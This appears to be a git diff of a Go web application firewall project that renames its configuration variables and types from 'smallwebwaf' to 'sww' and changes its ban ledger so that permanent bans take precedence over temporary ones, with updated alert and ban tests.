// alerts.json then lists Slack and ntfy alone, with no alert waiting. // alerts.json then lists Slack and ntfy alone, with no alert waiting.
@@ -1223,12 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
// requests to it that it counts as failed, the alerts it counts as held // requests to it that it counts as failed, the alerts it counts as held
// back, and those it counts as dropped for the webhook. // back, and those it counts as dropped for the webhook.
func wantCounts( func wantCounts(
t *testing.T, q *alerts.Queue, sent, failed, suppressed, dropped int64, t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
) { ) {
t.Helper() t.Helper()
wantDestinationCounts(t, q, alerts.DestinationWebhook, wantDestinationCounts(t, q, alerts.DestinationWebhook,
alerts.Counts{Sent: sent, Failed: failed, Dropped: dropped}) alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
if q.Suppressed() != suppressed { if q.Suppressed() != suppressed {
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1254,7 +1254,7 @@ type eventMessage struct {
title, priorityAndTag, text string title, priorityAndTag, text string
} }
// anAlertForEachEvent returns an alert for each event SWWAF_ALERT_EVENTS // anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
// names, the first in observe mode, each with its message. // names, the first in observe mode, each with its message.
func anAlertForEachEvent() []eventMessage { func anAlertForEachEvent() []eventMessage {
return []eventMessage{ return []eventMessage{
@@ -1265,7 +1265,7 @@ func anAlertForEachEvent() []eventMessage {
Reason: "requests per hour over the limit of 10000", Reason: "requests per hour over the limit of 10000",
Detail: map[string]any{"mode": "observe"}, Detail: map[string]any{"mode": "observe"},
}, },
"fsn1app1/gitea: ban", "default no_entry", "fsn1app1/blog: ban", "default no_entry",
"requests per hour over the limit of 10000\nclient: 203.0.113.9\n" + "requests per hour over the limit of 10000\nclient: 203.0.113.9\n" +
"netblock: 203.0.113.0/24\ncountry: DE\nmode: observe", "netblock: 203.0.113.0/24\ncountry: DE\nmode: observe",
}, },
@@ -1275,18 +1275,18 @@ func anAlertForEachEvent() []eventMessage {
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR", Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
Reason: "matched the rule env-file", Reason: "matched the rule env-file",
}, },
"fsn1app1/gitea: permanent_ban", "high no_entry", "fsn1app1/blog: permanent_ban", "high no_entry",
"matched the rule env-file\nclient: 198.51.100.7\n" + "matched the rule env-file\nclient: 198.51.100.7\n" +
"netblock: 198.51.100.7/32\ncountry: FR", "netblock: 198.51.100.7/32\ncountry: FR",
}, },
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventWAFBlock, Client: netip.MustParseAddr("192.0.2.1"), Event: alerts.EventCoreRuleSetMatch, Client: netip.MustParseAddr("192.0.2.1"),
Netblock: netip.MustParsePrefix("192.0.2.1/32"), Netblock: netip.MustParsePrefix("192.0.2.1/32"),
Reason: "refused by the Core Rule Set", Reason: "refused by the Core Rule Set",
Host: "app.example", Host: "app.example",
}, },
"fsn1app1/gitea: waf_block", "default shield", "fsn1app1/blog: core_rule_set_match", "default shield",
"refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" + "refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" +
"netblock: 192.0.2.1/32", "netblock: 192.0.2.1/32",
}, },
@@ -1295,7 +1295,7 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"), Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"),
Reason: "requests per minute over the threshold of 5000", Reason: "requests per minute over the threshold of 5000",
}, },
"fsn1app1/gitea: anomaly", "high chart_with_upwards_trend", "fsn1app1/blog: anomaly", "high chart_with_upwards_trend",
"requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24", "requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24",
}, },
{ {
@@ -1304,7 +1304,7 @@ func anAlertForEachEvent() []eventMessage {
Netblock: netip.MustParsePrefix("192.0.2.2/32"), Netblock: netip.MustParsePrefix("192.0.2.2/32"),
Reason: "listed by a DNS blocklist", Reason: "listed by a DNS blocklist",
}, },
"fsn1app1/gitea: reputation_hit", "low label", "fsn1app1/blog: reputation_hit", "low label",
"listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32", "listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32",
}, },
{ {
@@ -1312,7 +1312,7 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed", Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed",
Detail: map[string]any{"source": "geojs"}, Detail: map[string]any{"source": "geojs"},
}, },
"fsn1app1/gitea: source_failure", "high warning", "fsn1app1/blog: source_failure", "high warning",
"asking GeoJS failed\nsource: geojs", "asking GeoJS failed\nsource: geojs",
}, },
{ {
@@ -1320,12 +1320,12 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventFileError, Event: alerts.EventFileError,
Reason: "a rule file has an error, and the rules stay as they were", Reason: "a rule file has an error, and the rules stay as they were",
Detail: map[string]any{ Detail: map[string]any{
"file": "/etc/smallwebwaf/rules.d/50-app.rules", "error": "line 2: no action", "file": "/etc/sww/rules.d/50-app.rules", "error": "line 2: no action",
}, },
}, },
"fsn1app1/gitea: file_error", "high warning", "fsn1app1/blog: file_error", "high warning",
"a rule file has an error, and the rules stay as they were\n" + "a rule file has an error, and the rules stay as they were\n" +
"file: /etc/smallwebwaf/rules.d/50-app.rules\nerror: line 2: no action", "file: /etc/sww/rules.d/50-app.rules\nerror: line 2: no action",
}, },
} }
} }
+16 -16
View File
@@ -28,22 +28,22 @@ const maxCounters = 20000
// alerts name them. // alerts name them.
const ( const (
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of // ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX. // SWW_IPV6_GROUP_PREFIX.
ScopeClient = "client" ScopeClient = "client"
// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX // ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
// or SWWAF_ANOMALY_NET_V6_PREFIX long. // or SWW_ANOMALY_NET_V6_PREFIX long.
ScopeNet = "net" ScopeNet = "net"
// ScopeASN is an AS number. // ScopeASN is an AS number.
ScopeASN = "asn" ScopeASN = "asn"
// ScopeTotal is the whole service. // ScopeTotal is the whole service.
ScopeTotal = "total" ScopeTotal = "total"
// ScopeWatch is a named netblock of SWWAF_WATCH_NETS. // ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
ScopeWatch = "watch" ScopeWatchedNet = "watched_net"
) )
// Scopes returns every scope. // Scopes returns every scope.
func Scopes() []string { func Scopes() []string {
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatch} return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
} }
// The windows a counter counts in, as the alerts name them. // The windows a counter counts in, as the alerts name them.
@@ -62,7 +62,7 @@ type Thresholds struct {
BytesPerHour int64 BytesPerHour int64
} }
// NamedNetblock is a netblock SWWAF_WATCH_NETS names. // NamedNetblock is a netblock SWW_WATCH_NETS names.
type NamedNetblock struct { type NamedNetblock struct {
Name string Name string
Netblock netip.Prefix Netblock netip.Prefix
@@ -70,14 +70,14 @@ type NamedNetblock struct {
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*, // The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
// SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and // SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
// SWWAF_WATCH_*. // SWW_WATCH_*.
Client, Net, ASN, Total, Watch Thresholds Client, Net, ASN, Total, Watch Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a // NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX). // client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWWAF_WATCH_NETS. // NamedNetblocks are SWW_WATCH_NETS.
NamedNetblocks []NamedNetblock NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts. // Alerts receive the anomaly alerts.
Alerts *alerts.Queue Alerts *alerts.Queue
@@ -107,13 +107,13 @@ type Request struct {
Host string Host string
// Client is the client's address, and ClientGroup the client it is // Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of // counted as: its IPv4 address, or the IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX its address is in. // SWW_IPV6_GROUP_PREFIX its address is in.
Client netip.Addr Client netip.Addr
ClientGroup netip.Prefix ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when // ASN, ASName and Country are the client's as looked up, each "" when
// unknown. // unknown.
ASN, ASName, Country string ASN, ASName, Country string
// Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them. // Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
Bytes int64 Bytes int64
} }
@@ -257,7 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
for _, named := range p.NamedNetblocks { for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) { if named.Netblock.Contains(client) {
all = append(all, scope{ all = append(all, scope{
key{scope: ScopeWatch, netblock: named.Netblock, name: named.Name}, p.Watch, key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
}) })
} }
} }
@@ -391,7 +391,7 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
detail["asn"] = k.asn detail["asn"] = k.asn
case ScopeTotal: case ScopeTotal:
counted = "the whole service" counted = "the whole service"
default: // watch default: // watched_net
counted = "the named netblock " + k.name + ", " + k.netblock.String() counted = "the named netblock " + k.name + ", " + k.netblock.String()
detail["name"] = k.name detail["name"] = k.name
} }
+63 -18
View File
@@ -13,7 +13,7 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
t.Parallel() t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}}) ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}})
if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin { if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin {
@@ -24,16 +24,16 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) { func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
t.Parallel() t.Parallel()
rules := defaultRules() params := defaultParams()
rules.MaxBans = 1 params.MaxBans = 1
ledger := bans.New(rules) ledger := bans.New(params)
adminsOnly := netip.MustParsePrefix("198.51.100.0/24") adminsOnly := netip.MustParsePrefix("198.51.100.0/24")
both := netip.MustParsePrefix("203.0.113.1/32") both := netip.MustParsePrefix("203.0.113.1/32")
second := netip.MustParsePrefix("203.0.113.2/32") second := netip.MustParsePrefix("203.0.113.2/32")
third := netip.MustParsePrefix("203.0.113.3/32") third := netip.MustParsePrefix("203.0.113.3/32")
// Seen longest ago, a netblock with two of an admin's bans alone, and // Seen longest ago, a netblock with two of an admin's bans alone, and
// then one with an admin's ban before a ban smallwebwaf made: the one // then one with an admin's ban before a ban sww made: the one
// ban counted toward MaxBans. // ban counted toward MaxBans.
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin}, {Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
@@ -48,7 +48,7 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
}) })
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2}) wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
// A new ban drops the ban smallwebwaf made, and only that one. // A new ban drops the ban sww made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{}) ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1}) wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
@@ -64,9 +64,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
t.Parallel() t.Parallel()
rules := defaultRules() params := defaultParams()
rules.MaxBans = 2 params.MaxBans = 2
ledger := bans.New(rules) ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.1/32") netblock := netip.MustParsePrefix("203.0.113.1/32")
other := netip.MustParsePrefix("203.0.113.2/32") other := netip.MustParsePrefix("203.0.113.2/32")
@@ -93,7 +93,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) { func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.1/32") netblock := netip.MustParsePrefix("203.0.113.1/32")
// The netblock breaks a limit twice, the second time after its first // The netblock breaks a limit twice, the second time after its first
@@ -114,10 +114,10 @@ func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
} }
} }
func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) { func TestReasonOfTheBansSwwMakes(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}) bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
@@ -150,7 +150,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
Lifted: midnight().Add(10 * time.Minute), Lifted: midnight().Add(10 * time.Minute),
} }
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{lifted}) ledger.Load([]bans.Ban{lifted})
// While it would still last, it refuses nothing, and a limit broken // While it would still last, it refuses nothing, and a limit broken
@@ -181,7 +181,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
// A permanent ban for a clear sign of attack, lifted. // A permanent ban for a clear sign of attack, lifted.
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{{ ledger.Load([]bans.Ban{{
Netblock: netblock, Netblock: netblock,
Start: midnight(), Start: midnight(),
@@ -211,7 +211,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
bans.Notes{}) bans.Notes{})
atStart := bans.Ban{ atStart := bans.Ban{
@@ -226,7 +226,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Fatalf("%d bans made by an admin after the start's, want none", got) t.Fatalf("%d bans made by an admin after the start's, want none", got)
} }
// The admin keeps the ban smallwebwaf made, keeps the one read at the // The admin keeps the ban sww made, keeps the one read at the
// start, and adds one without a cause: that one alone is made. // start, and adds one without a cause: that one alone is made.
kept := made kept := made
kept.Cause = bans.CauseAdmin kept.Cause = bans.CauseAdmin
@@ -246,7 +246,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
t.Parallel() t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
// An hour's ban for a broken limit. // An hour's ban for a broken limit.
ledger.BanForLimit(netblock, midnight(), bans.Notes{}) ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -292,7 +292,7 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wide := netip.MustParsePrefix("203.0.113.0/24") wide := netip.MustParsePrefix("203.0.113.0/24")
other := netip.MustParsePrefix("203.0.113.10/32") other := netip.MustParsePrefix("203.0.113.10/32")
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
// Ended an hour ago. // Ended an hour ago.
{ {
@@ -341,3 +341,48 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
t.Parallel()
client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
"for good")
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
}
func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
"for an hour")
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
}
// wantPermanentBan checks that Find and Check return a permanent ban for
// client at now.
func wantPermanentBan(
t *testing.T, ledger *bans.Ledger, client netip.Addr, now time.Time,
) {
t.Helper()
for name, look := range map[string]func(netip.Addr, time.Time) (bans.Ban, bool, bool){
"Find": ledger.Find,
"Check": ledger.Check,
} {
ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() {
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
}
}
}
+50 -28
View File
@@ -1,4 +1,4 @@
// Package bans is the ban ledger: the bans smallwebwaf makes on the // Package bans is the ban ledger: the bans sww makes on the
// netblocks of clients that break a rate limit, a byte limit or the error // netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec // burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and // decision list, and
@@ -21,14 +21,14 @@ import (
// The causes of bans. // The causes of bans.
const ( const (
// CauseLimit is a ban smallwebwaf made for a broken limit. // CauseLimit is a ban sww made for a broken limit.
CauseLimit = "limit" CauseLimit = "limit"
// CauseAttack is a ban smallwebwaf made for a clear sign of attack. // CauseAttack is a ban sww made for a clear sign of attack.
CauseAttack = "attack" CauseAttack = "attack"
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an // CauseAdmin is a ban an admin made, or one sww made that an
// admin keeps. It is never dropped. // admin keeps. It is never dropped.
CauseAdmin = "admin" CauseAdmin = "admin"
// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec // CauseCrowdSec is a ban sww made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does. // decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec" CauseCrowdSec = "crowdsec"
) )
@@ -40,8 +40,8 @@ const repeatFactor = 3
// maxTextBytes is how much of each text in a ban's notes is kept. // maxTextBytes is how much of each text in a ban's notes is kept.
const maxTextBytes = 256 const maxTextBytes = 256
// Rules are how long a ban lasts, and how many bans are held. // Params are how long a ban lasts, and how many bans are held.
type Rules struct { type Params struct {
// LimitBanDuration is how long a first ban for a broken limit lasts. // LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's // LimitBanRepeatWindow is how soon after the end of the netblock's
@@ -70,7 +70,7 @@ type Ban struct {
Expires time.Time Expires time.Time
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec. // Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
Cause string Cause string
// Reason is a short text: for a ban smallwebwaf made, the limit broken, // Reason is a short text: for a ban sww made, the limit broken,
// the rule that matched or the scenario of CrowdSec's decision; for an // the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote. // admin's, what the admin wrote.
Reason string Reason string
@@ -123,7 +123,7 @@ type Notes struct {
LimitPercentSetting string `json:"limit_percent_setting,omitempty"` LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id // RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for // of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWWAF_TRAP_PATHS, that path as the // one for a request for a path in SWW_TRAP_PATHS, that path as the
// client sent it. // client sent it.
RuleID string `json:"rule_id,omitempty"` RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"` Target string `json:"target,omitempty"`
@@ -180,7 +180,7 @@ type Request struct {
// Ledger holds the bans. It is safe for concurrent use. // Ledger holds the bans. It is safe for concurrent use.
type Ledger struct { type Ledger struct {
rules Rules params Params
// changed receives a value when a ban is made, unless one is waiting // changed receives a value when a ban is made, unless one is waiting
// already. // already.
changed chan struct{} changed chan struct{}
@@ -190,7 +190,7 @@ type Ledger struct {
// Find make each netblock they find the most recently seen. // Find make each netblock they find the most recently seen.
netblocks *simplelru.LRU[netip.Prefix, *[]Ban] netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
// held is how many bans netblocks holds whose cause is not CauseAdmin, // held is how many bans netblocks holds whose cause is not CauseAdmin,
// at most rules.MaxBans. // at most params.MaxBans.
held int held int
// made is how many bans have been made since the start, by cause: by // made is how many bans have been made since the start, by cause: by
// the ledger, and by an admin, through BanForAdmin or in an edit of // the ledger, and by an admin, through BanForAdmin or in an edit of
@@ -199,13 +199,13 @@ type Ledger struct {
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
// netblocks that have been banned. Check looks for a ban at each of // netblocks that have been banned. Check looks for a ban at each of
// them, so that a ban read from bans.json refuses every client in its // them, so that a ban read from bans.json refuses every client in its
// netblock even when it was made with another SWWAF_BAN_SCOPE_V4_PREFIX, // netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
// or another length of an IPv6 client's netblock. // or another length of an IPv6 client's netblock.
v4Lengths, v6Lengths []int v4Lengths, v6Lengths []int
} }
// New returns a Ledger with no ban yet. // New returns a Ledger with no ban yet.
func New(rules Rules) *Ledger { func New(params Params) *Ledger {
// The ledger drops bans itself, and never those whose cause is // The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its // CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen. // own: it keeps the netblocks in the order they were last seen.
@@ -215,7 +215,7 @@ func New(rules Rules) *Ledger {
} }
return &Ledger{ return &Ledger{
rules: rules, params: params,
changed: make(chan struct{}, 1), changed: make(chan struct{}, 1),
netblocks: netblocks, netblocks: netblocks,
made: map[string]int{}, made: map[string]int{},
@@ -274,16 +274,27 @@ func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) {
// activeBan returns the ban in bans, a netblock's bans oldest first, that // activeBan returns the ban in bans, a netblock's bans oldest first, that
// is active at now, or nil when none is. If several are, it returns the // is active at now, or nil when none is. If several are, it returns the
// one that started last. Every ban is looked at, since a ban an admin adds // newest permanent one, or the newest when none is permanent. Every ban is
// to bans.json can start before the netblock's others and outlast them. // looked at, since a ban an admin adds to bans.json can start before the
// netblock's others and outlast them.
func activeBan(bans []Ban, now time.Time) *Ban { func activeBan(bans []Ban, now time.Time) *Ban {
var newest *Ban
for i := len(bans) - 1; i >= 0; i-- { for i := len(bans) - 1; i >= 0; i-- {
if bans[i].ActiveAt(now) { if !bans[i].ActiveAt(now) {
continue
}
if bans[i].Permanent() {
return &bans[i] return &bans[i]
} }
if newest == nil {
newest = &bans[i]
}
} }
return nil return newest
} }
// BanForLimit bans netblock at now for a broken limit, with notes, and // BanForLimit bans netblock at now for a broken limit, with notes, and
@@ -581,7 +592,7 @@ func (l *Ledger) Load(bans []Ban) {
} }
// LoadEdit is Load for an admin's edit of bans.json, taken in while // LoadEdit is Load for an admin's edit of bans.json, taken in while
// smallwebwaf runs. Each ban in it whose cause is CauseAdmin, and which // sww runs. Each ban in it whose cause is CauseAdmin, and which
// the ledger did not hold, with the same netblock and start, is one the // the ledger did not hold, with the same netblock and start, is one the
// admin made, and is counted among the bans made. // admin made, and is counted among the bans made.
func (l *Ledger) LoadEdit(bans []Ban) { func (l *Ledger) LoadEdit(bans []Ban) {
@@ -743,13 +754,16 @@ func (l *Ledger) markChanged() {
} }
// active returns the ban active at now on a netblock client is in, or // active returns the ban active at now on a netblock client is in, or
// nil. // nil. If several netblocks have one, it returns a permanent ban when
// there is one.
func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
lengths := l.v6Lengths lengths := l.v6Lengths
if client.Is4() { if client.Is4() {
lengths = l.v4Lengths lengths = l.v4Lengths
} }
var first *Ban
for _, length := range lengths { for _, length := range lengths {
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked()) bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
if !found { if !found {
@@ -757,12 +771,20 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
} }
ban := activeBan(*bans, now) ban := activeBan(*bans, now)
if ban != nil { if ban == nil {
continue
}
if ban.Permanent() {
return ban return ban
} }
if first == nil {
first = ban
}
} }
return nil return first
} }
// covering returns the bans of each netblock held that client is in, // covering returns the bans of each netblock held that client is in,
@@ -790,7 +812,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
// unless ban's cause is CauseAdmin, which does not count toward MaxBans. // unless ban's cause is CauseAdmin, which does not count toward MaxBans.
func (l *Ledger) add(ban Ban) { func (l *Ledger) add(ban Ban) {
counted := ban.Cause != CauseAdmin counted := ban.Cause != CauseAdmin
if counted && l.held == l.rules.MaxBans { if counted && l.held == l.params.MaxBans {
l.dropOne() l.dropOne()
} }
@@ -825,7 +847,7 @@ func (l *Ledger) add(ban Ban) {
// new ban longer. A ban an admin adds to bans.json can start after // new ban longer. A ban an admin adds to bans.json can start after
// another and end before it, so that one is looked for among them all. // another and end before it, so that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.rules.LimitBanDuration length := l.params.LimitBanDuration
var last *Ban var last *Ban
@@ -836,18 +858,18 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
} }
} }
if last != nil && now.Sub(last.Expires) <= l.rules.LimitBanRepeatWindow { if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start) lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so // This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow. // that it cannot overflow.
if lastLength > l.rules.MaxBanDuration/repeatFactor { if lastLength > l.params.MaxBanDuration/repeatFactor {
return time.Time{} return time.Time{}
} }
length = repeatFactor * lastLength length = repeatFactor * lastLength
} }
if length > l.rules.MaxBanDuration { if length > l.params.MaxBanDuration {
return time.Time{} return time.Time{}
} }
@@ -865,7 +887,7 @@ func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time {
} }
} }
return now.Add(l.rules.AttackBanDuration) return now.Add(l.params.AttackBanDuration)
} }
// dropOne drops the earliest ban whose cause is not CauseAdmin of the // dropOne drops the earliest ban whose cause is not CauseAdmin of the
+27 -27
View File
@@ -15,7 +15,7 @@ const day = 24 * time.Hour
func TestRepeatsTripleUntilPermanent(t *testing.T) { func TestRepeatsTripleUntilPermanent(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
@@ -62,7 +62,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
